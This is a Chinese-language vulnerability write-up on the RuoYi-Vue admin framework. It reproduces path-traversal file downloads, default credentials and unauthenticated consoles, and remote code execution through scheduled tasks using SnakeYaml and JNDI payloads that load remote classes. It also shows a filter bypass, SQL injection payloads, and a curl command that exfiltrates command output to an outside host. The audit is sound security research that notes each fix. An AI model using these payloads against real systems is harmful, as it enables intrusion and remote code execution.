RuoYi-Vue历史漏洞
RuoYi-Vue历史漏洞
Takake1.开发测试环境搭建(审计环境)
1.1.开发环境
安装IDEA
配置Maven
安装Mysql
创建数据库ry-vue
运行下载源码中的sql
获得如下表
- 修改连接数据库的用户名密码、路径
- 启动redis
- 启动后端环境
- 运行前端环境
- 安装nodejs
1 | cd ruoyi-ui |
2.历史漏洞
2.1.任意文件下载
2.1.1.低版本(<V-3.2.0)
2.1.1.1.简介
- 该漏洞是由于在RuoYi-Vue低版本文件下载接口 /common/download/resource 中未对输入的路径做限制,导致可下载任意文件。
2.1.1.2.代码审计(V-3.0)
- 接口位置
- com/ruoyi/web/controller/common/CommonController.java
- 文件下载默认路径ruoyi-admin\src\main\resources\application.yml
- D:/ruoyi/uploadPath
- 路径前缀(即接收输入参数路径的前缀)
- 且该类不存在接口前缀,因此接口地址即为 **/common/download/resource **
- 添加请求参数name=/profile/1.txt
2.1.1.3.漏洞复现(<V-3.2.0)
2.1.1.3.1Windows开发环境
- 为了测试我们在WEB文件磁盘的根目录下创建如下两个文件
- 这次我们
postman
进行测试 - 先登陆获取到Token
- 在Postman中添加自定义请求头
Authorization
: Bearer eyJhbGciOiJIUzUxMiJ9.eyJsb2dpbl91c2VyX2tleSI6ImE4OGFmZjVlLWVjYzItNGMyNC04ZDNlLWFhOWU0OWNlNGM2ZCJ9.atRZz1zUNtjhMIfDsdtfUJvOoaljSSmE4PN5G8AbOLXS-SXow-GJ5DDdA5u1NT0azxDkmUfWZ95Zy1QQYMR3ZQ- 请根据自己获取到的token添加
- 请求文本文件,通过../对请求路径进行回退,以此构建url为
- http://localhost/common/download/resource?resource/=/name/../../../../../../file.txt
- postman发包测试如图
- 请求JPG文件,如图,可通过Save Response将图片保存下来查看
- 保存为对应的jpg格式即可打开查看
2.1.1.3.2.linux生产环境
打包到linux环境时需要修改配置文件中的默认文件路径
/home/ruoyi/uploadPath
获取到linux环境下的Token
/common/download/resource/?name=/profile/../../../../../../etc/passwd
在postman中更改指定Token值,key为Authorization,Value为Bearer eyjh……..
2.1.1.4修复(可绕过)(V-3.2.1)
- 在V-3.2.1版本之后会对用户输入的rousource路径进行过滤,不允许包含
..
和校验不允许的文件下载类型 - ruoyi-common\src\main\java\com\ruoyi\common\utils\file\FileUtils.java
- ruoyi-admin\src\main\java\com\ruoyi\web\controller\common\CommonController.java
2.1.2.定时任务绕过思路(<V-3.8.2)
2.1.2.1.代码审计(V-3.2.1)
- 在RuoYi-Vue定时任务中可以设置全局环境变量,而资源下载路径,也属于全局变量的范围,因此我们可以通过定时任务修改全局变量中的默认资源下载路径。
- 以此来绕过必须使用resource来下载资源文件的方式。
- ruoyi-admin\src\main\java\com\ruoyi\web\controller\common\CommonController.java
例如我们可以添加一个定时任务,任务为 ruoYiConfig.setProfile(‘C://windows/win.ini’) ,也就是将默认下载资源路径更改为该路径,如此resource再输入任意可通过文件类型检测,且不存在前缀路径即可直接下载该文件。
具体思路入下
调用定时任务ruoYiConfig.setProfile(‘C://windows/win.ini’)
调用接口resource=.jpg ,其中resource的值为任意不包含前缀
/profile
,且文件类型检测中存在的文件类型(输入的resouce值会直接被清空,下载的实际路径则会变成 **String localPath = RuoYiConfig.getProfile() ** 的值)。系统则调用 **FileUtils.setAttachmentResponseHeader(response, downloadName); **下载系统文件
ruoyi-admin\src\main\java\com\ruoyi\web\controller\common\CommonController.java
2.1.2.2.绕过复现(V-3.2.1)
- 添加定时任务
- ruoYiConfig.setProfile(‘C://windows/win.ini’)
- 0/10 * * * * ?
1 | PUT /dev-api/monitor/job HTTP/1.1 |
1 | { |
- 执行任务
- 通过接口下载文件http://localhost/common/download/resource?resource=.jpg
- ruoyi-admin\src\main\java\com\ruoyi\web\controller\common\CommonController.java
-
- linux系统复现流程相同,不再重复
2.1.2.3.修复(V-3.8.2)
- 在V-3.8.2版本中系统对调度任务添加白名单限制,不存在白名单限制范围类的类不允许调用。
- ruoyi-quartz\src\main\java\com\ruoyi\quartz\controller\SysJobController.java
- ruoyi-quartz\src\main\java\com\ruoyi\quartz\util\ScheduleUtils.java
- ruoyi-common\src\main\java\com\ruoyi\common\constant\Constants.java
2.1.3.注意事项
- 值得注意的是在RuoYi-Vue低版本(<V-3.2.1)无需绕过的版本,文件名参数为name,而高版本(>=V-3.2.1)需要绕过的版本文件名参数为resource
- 请求url末尾一定要加上”/“否则请求失败,而在RuoYi不分离版本则可以无需末尾加”/“
2.2.未授权访问(<V-3.5.0)
http://localhost:8080/druid/index.html
http://localhost:8080/swagger-ui.html#/
2.2.1.swagger-ui未授权访问
- 接口地址: **/swagger-ui.html **
- 若可直接访问后端地址的话可直接 **[后端地址:端口号/swagger-ui.html] ** 即可访问,接口地址,
- 若存在反代,不可直接访问后端地址,那就请求前端加上前缀即可 **[前端地址/接口前缀/swagger-ui.html] **
- 开发环境默认前缀为 /dev-api ,生产环境默认前缀为 /prod-api ,后端默认端口号为 8080
- 可能大多数项目都更改了环境的默认前缀,只需要进入登陆页面查看验证码的请求路径即可知道请求前缀。
2.2.2.druid未授权访问
- 接口地址: **/druid **
- 其余和swaggeer-ui接口保持一致
在V-3.5.0版本开始,druid需要开始需要输入密码且默认口令为ruoyi/123456
ruoyi-admin\src\main\resources\application-druid.yml
- ruoyi-framework\src\main\java\com\ruoyi\framework\config\SecurityConfig.java
2.3.默认口令(全版本)
- 很多时候开发人员的安全意识不足,可能存在未修改管理员密码的情况这样我们就能利用RuoYi的默认口令,进行登陆。
- 不过在大多数情况下,开发者通常都会修改超级管理员的密码,而普通用户ry则可能忘记删除,或者修改密码。
- RuoYi默认口令:admin/admin123、ry/admin123。
- druid控制台:ruoyi/123456,接口地址 **/druid **
2.4.定时任务远程RCE(<V-3.8.0)
需要注意的是由于是从远程加载类,通常只加载一次后,就会缓存该类,之后不会再加载,因此若在测试过程中,命令没有执行成功,可重新创建定时任务,更换端口等操作多次尝试。
2.4.1.SnakeYaml 反序列化
2.4.1.1.简介
通常只要引用了
Snakeyaml
包的几乎都可进行反序列化可查看代码是否调用 **new Yaml(); **
2.4.1.2.漏洞复现(V-3.2.1)
下载yaml反序列化payload工具
- 该工具是通过org.yaml.snakeyaml.Yaml类来加载远程的类,通过远程类重写AwesomeScriptEngineFactory类,以此来达到执行远程恶意命令的目的。
下载完工具后将src/artsploit/AwesomeScriptEngineFactory.java文件中的Runtime执行语句改为你要执行的命令
- eg: curl http://192.168.31.246:7000?CMDEcho=$(whoami)
- 地址为启动任意启动的http服务,或者dnslog都可(主要用于命令回显)
- 除此之外,我们需要使用
$()
命令替换,用于命令回显,因此我们改写一下命令执行函数。 - 改写方法如图
1 | String[] cmd = { |
在工具根目录 编写yaml-payload.yml文件
1
2
3
4
5!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://192.168.31.246:8000/yaml-payload.jar"]
]]
]使用JAVA编译该文件,并且打包为jar,命令如下
1 | $ javac src/artsploit/AwesomeScriptEngineFactory.java |
- 然后在该位置使用python开启http服务,用于远程加载该jar文件
- 添加定时任务加载jar包
- 目标字符串org.yaml.snakeyaml.Yaml.load(‘!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [“http://192.168.31.246:8000/yaml-payload.jar"]]]]‘)
- cron表达式0/10 * * * * ?
- 添加定时任务请求包
- header
1 | PUT /dev-api/monitor/job HTTP/1.1 |
- body
1 | { |
- 创建任务后点击执行
- 日志
- 回显结果如图
2.4.2.JNDI注入
2.4.2.1.简介
通过JNDI远程加载恶意类
这次我们使用windows开发环境进行测试
其次JNDI注入只在低版本JAVA中适用(小于以下版本可用)
JDK6 | JDK7 | JDK8 | JDK11 | |
---|---|---|---|---|
RMI不可用 | 6u132 | 7u122 | 8u113 | 无 |
LDAP不可用 | 6u221 | 7u201 | 8u119 | 11.0.1 |
- 本次我们不再通过命令回显的方式进行测试,而是通过直接在windows中弹出计算器进行测试
2.4.2.2.漏洞复现(V-3.2.1)
- 先编译要执行的恶意类
- javac Calc.java
1 | public class Calc{ |
- 将Calc.class文件通过python服务暴露python -m http.server 6000
- 使用
marshalsec
工具启动一个RMI服务
,链接类指向我们公开的端口下载marshalsec,需要自行编译,或者下载别人已经编译好的jar包
RMI注入
- java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://192.168.10.129:6000/#Calc“ 8888
- 添加一个定时任务通过
lookup
函数加载远程类- 目标字符串:org.springframework.jndi.JndiLocatorDelegate.lookup(‘rmi://192.168.10.129:8888/Calc’)
- cron表达式:0/10 * * * * ?
- 请求包
- header
1 | POST /dev-api/monitor/job HTTP/1.1 |
- body
1 | { |
- 点击执行任务,弹出计算器,测试成功。
LDAP注入
启动
ldap
服务java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer “http://192.168.10.129:6000/#Calc“ 8888
添加一个定时任务通过
lookup
函数加载远程类目标字符串:javax.naming.InitialContext.lookup(‘ldap://192.168.10.129:8888/#Calc’)
cron表达式:0/10 * * * * ?
点击执行,弹出计算器,测试成功
2.4.3.高版本绕过策略(V-3.7.0)
- 在V-4.7.0版本中RuoYi添加了对
ldap
和rmi
以及http
字符串的过滤 - ruoyi-quartz\src\main\java\com\ruoyi\quartz\controller\SysJobController.java
但是可通过添加”‘“的方式来绕过。
例如http就可以改为ht’tp,rmi可以改为r’mi,ldap改为l’dap,以此来绕过字符串检测
没添加”‘“绕过
- 添加”‘“绕过,只需要在协议字符串中间添加一个“’”即可,那么所有目标调用字符串可更改为
- rmi: org.springframework.jndi.JndiLocatorDelegate.lookup(‘r’mi://192.168.10.129:8888/Calc’)
- ldap: javax.naming.InitialContext.lookup(‘ld’ap://192.168.10.129:8888/#Calc’)
- SnakeYaml: org.yaml.snakeyaml.Yaml.load(‘!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [“ht’tp://192.168.31.246:8000/yaml-payload.jar”]]]]’)
- 测试通过,命令执行成功
2.4.4.修复(V-3.8.0)
- 直接对定时任务调用的类进行黑马名单限制
- ruoyi-quartz\src\main\java\com\ruoyi\quartz\controller\SysJobController.java
- ruoyi-common\src\main\java\com\ruoyi\common\constant\Constants.java
2.5.SQL注入
2.5.1.注入点1 /dept/edit (<V-3.6.0)
2.5.1.1.验证payload
- 部门编辑接口
- 原包
攻击
POC:
**”ancestors”:”0)or(extractvalue(1,concat(0,(select user()))));#” **DeptName为任意不存在的名称,DeptId为数据库中存在ID,ParentId为任意数字,其余参数固定
- header
1 | PUT /dev-api/system/dept HTTP/1.1 |
- body
1 | { |
其中 ancestors
注入参数不能超过50个字符。
- 我们还可以时间盲注
POC:
&ancestors=0)or(sleep(1));# , 时间比例为1:10
2.5.1.2.代码审计(V-3.4.0)
- 接口
- ruoyi-admin\src\main\java\com\ruoyi\web\controller\system\SysDeptController.java
- ruoyi-system\src\main\java\com\ruoyi\system\service\impl\SysDeptServiceImpl.java
- ruoyi-system\src\main\resources\mapper\system\SysDeptMapper.xml
- 注入点在
updateDeptStatus
SQL中的where dept_id in (${ancestors})
这条语句中,因此我们需要其执行**deptMapper.updateDeptStatus()**该方法 - 这个方法是又由
updateParentDeptStatus
方法调用 - 再到
updateParentDeptStatus
方法中。因此我们得出一下结论
因此我们传入的Status必须为
0
否则无法执行到updateParentDeptStatus
方法再重新回到controller方法中
因此通过
controller
方法我们要执行到我们得注入点,必须满足上级部门不能是自己,即DeptId
不等于ParentId
,以及部门名称不能是已经存在得部门名称,即DeptName
定义参数数据库中不存在且我们通过SysDept定义得对象实体中知
orderNum
的值不能为空com/ruoyi/system/domain/SysDept.java
- 由于
ancestors
的值为varchar(50)
,因此输入的字符串长度不能超过50个字符
总结所有条件得出payload:
Status
必须为0
,即Status=0
- 上级部门不能是自己,即
DeptId
!=ParentId
- 部门名称不能是已经存在得部门名称,即
DeptName
定义参数数据库中不存在 orderNum
的值不能为空ancestors
字符长度小于50- 附加:由于是
edit
,因此接口主键DeptId
必须是数据库中能查到的部门ID
因此以下是可注入成功的最少字段
1 | { |
- 执行SQL
1 | UPDATE sys_dept |
2.5.1.3. 代码审计 修复(V-3.6.0)
- 通过对比两个版本的代码发现V-3.6.0已不再使用该SQL。
3.总结
相比与RuoYi前后端不分离版本,前后端分离VUE版本的可利用漏洞更少。
由于VUE版本使用的是SpringSecurity安全框架未使用shiro框架,因此不存在shiro反序列化漏洞。
VUE版本未使用thymeleaf视图渲染组件,因此也不存在SSTI模板注入。
并且由于默认情况下VUE版本,对于/export和/list,均使用的是get请求,不支持post请求,无法通过请求参数注入params-dataScope参数。虽然VUE版本在3.7.0开始在/export接口使用post进行传参,但是可惜的是VUE在3.6.0版本就加入了clearDataScope方法来清空dataScope的值,因此这个注入点在VUE全版本均不可利用(二次开发者未修改请求类型的情况下)。